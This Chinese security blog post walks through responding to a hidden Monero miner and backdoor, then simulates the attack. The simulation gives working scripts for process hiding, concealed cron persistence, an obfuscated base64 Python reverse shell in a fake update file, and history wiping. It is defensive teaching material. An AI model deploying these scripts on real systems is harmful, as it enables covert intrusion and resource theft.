干货分享 | 记一次挖矿木马+隐藏后门应急分析(建议收藏)
前言
包含一下知识:
应急响应
背景
一天,客户反馈服务器莫名其妙突然卡顿、风扇狂转,但是查看 cpu 占用率却都不高,请你上机排查!
查看 cpu 占用率
top -c
但是发现 cpu 占用率都不高

查看网络连接
netstat -anpt

发现可以连接,IP:43.129.150.140
对该 ip 进行威胁情报关联分析,发现该 ip 被微步标记为矿池

但是看不到进程信息,怀疑使用了目录挂载
解除目录挂载
查看所有目录挂载
cat /proc/$$/mountinfo

发现可疑挂载,使用以下命令解除挂载
umount /proc/59919
再次查看 cpu

查看网络连接

查看进程信息

发现隐藏目录,包含恶意程序
计划任务
干掉恶意进程,并删除文件

查看 cpu 占用率正常
但是没过一会,服务器又开始卡顿、风扇狂转

猜测存在计划任务,但是 crontab -l 命令没查到

想到可能是隐藏了,解决:
cat -A /var/spool/cron/crontabs/root

查看恶意脚本

删除即可
隐藏后门
发现莫名其妙会出现一些外链的请求

查看历史命令业务异常
history
使用查看 alias 命令查看也无异常

再一次连接之后排查

发现执行了一个恶意的 python 脚本

搜索后发现在 release-upgrade 文件,修改了 ls 命令

发现 .bashrc 文件

找一个初始的文件对比发现多了 5 行

删除、删除 release-upgrade 文件、重启
XMR挖矿攻击模拟
模拟攻击流程
SSH 爆破

上挖矿马
wget https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz
解压
tar -zxvf xmrig.tar.gz
解压后我们得到俩个文件,一个是 xmrig 主程序,一个是 config. Json 配置文件。
配置
输入:vim config.json 打开 config. Json 文件,将 YOUR_WALLET_ADDRESS 修改成你的钱包地址
"user": "YOUR_WALLET_ADDRESS", "pass": "x",
运行
./xmrig #后台启动 nohup ./xmrig &

进程隐藏
目录挂载
未隐藏之前


目录挂载
mkdir /tmp/.k/null mount --bind /tmp/.k/null /proc


计划任务
添加计划任务使其可以开机自启,删除后恢复
1.sh
#!/bin/bash if [ ! -f "/tmp/.k/xmrig" ]; then mkdir /tmp/.k cd /tmp/.k wget https://download.c3pool.org/xmrig_setup/raw/master/xmrig.tar.gz tar -zxvf xmrig.tar.gz sed -i 's/YOUR_WALLET_ADDRESS/45cuh6v7YDkdL9gTEkfffQ1rfoA6NitH9huwWUVjZnqCGXB9TrPGPK2D3UgLwMXtf1SCkNwuDNFZZWzCkgnesarBK9MDkJh/' /tmp/.k/config.json mkdir /tmp/.k/null nohup /tmp/.k/xmrig & fi sleep 3 if pgrep -x "xmrig" then pid=$(pgrep -x xmrig) mount --bind /tmp/.k/null /proc/$pid fi
2.sh
(crontab -l;printf "* * * * * /tmp/.s/1.sh;\rno crontw_wab for `whoami` %100 c\n")|crontab -
#上传脚本运行 mkdir /tmp/.s cd /tmp/.s chmod 7771.sh chmod 7772.sh ./2.sh
效果:crontab -l ,必须 cat -A 或者 vim、vi 才能看到

持久化后门
/etc/update-manager/ 目录下

新建迷惑性文件 release-upgrade
touch release-upgrade
放入恶意命令
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xOTkuMSIsIDk5OTkpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3NoIiwgIi1pIl0pCiAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICAgICAgZXhpdCgp'\'')))";};alerts' alias unalias='alerts(){ if [ $# != 0 ]; then if [ $* != "ls" ]&&[ $* != "alias" ]&&[ $* != "unalias" ]; then unalias $*;else echo "-bash: unalias: ${*}: not found";fi;else echo "unalias: usage: unalias [-a] name [name ...]";fi;};alerts' alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'
追加进 ~/.bashrc 文件
#enable software update with apt #See /etc/apt/source.d/ in the apt package. if [ -f /etc/update-manager/release-upgrade ]; then . /etc/update-manager/release-upgrade fi
清理痕迹
nl .bash_history sed -i '10,$d' .bash_history
XMR挖矿流量分析
Stratum 协议
矿池一般采用 Stratum 协议与挖矿主机进行交互通信,Stratum 协议是基于 JSON-RPC 2.0 封装的 TCP 通讯协议,在挖矿主机和矿池的交互过程中支持挖矿主机登记、任务下发、账号登录、结果提交和挖矿任务难度调整这五种行为。
XMR 挖矿流量分析
由于比特币主机挖矿效益与投入比的不断降低,使得攻击者转向更具挖矿效率优势的门罗币。门罗币可以使用 CPU 或 GPU 进行挖矿,具有隐蔽性强,灵活性高等特点,是挖矿木马的首选,平常实际遇见的挖矿木马挖取的加密货币也几乎都是门罗币。
其采用 jsonrpc 数据样例的格式进行通信
安装 tcpdump
apt-get install tcpdump
捕获数据包
捕获前 10000 个经过 ens 33 接口的数据包:
tcpdump -i ens33 -c 10000 -nn -w xmr_capture.pcap
过滤分析

XMR 采用 Cryptonight 算法作为其工作量证明的哈希函数。当使用 XMRig 进行挖矿时,他所采用的 CryptoNight 算法可能会产生较多的网络流量,因为它需要频繁地与矿池通信以获取新的挖矿任务。各种挖矿程序在使用 Stratum 协议的数据格式都会稍有不同,包括 XMRig。但是它们都遵循 JSON-RPC 2.0 的规范。
矿机任务提交
这个就是 XMRig 挖矿客户端向矿池服务器提交挖矿工作的请求
{ "id": 121, "jsonrpc": "2.0", "method": "submit", "params": { "id": "50465107", "job_id": "51650811", "nonce": "cc210000", "result": "374de8..." } }
矿池的成功响应
机矿成功提交挖矿工作后由矿池返回
{ "jsonrpc": "2.0", "id": 110, "error": null, "result": { "status": "OK" } }
矿池下发新任务
{ "method": "job", "params": { "blob": "1010a5...", "algo": "rx/0", "height": 3190425, "seed_hash": "78f693...", "job_id": "51724435", "target": "7d770100", "id": "50465107" }, "jsonrpc": "2.0" }
总结
总的来说特征还是很明显的,基于 json 的流量,主要特征字段有 id,jsonrpc,method,params,job_id,nonce,result 等
参考
https://wxiaoge.blog.csdn.net/article/details/117472195
https://blog.csdn.net/laozhang338/article/details/131812201
https://www.cnblogs.com/smileleooo/p/18172605#%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90
原文首发在:奇安信攻防社区
https://forum.butian.net/share/3618
文章来源:渗透Xiao白帽
华盟君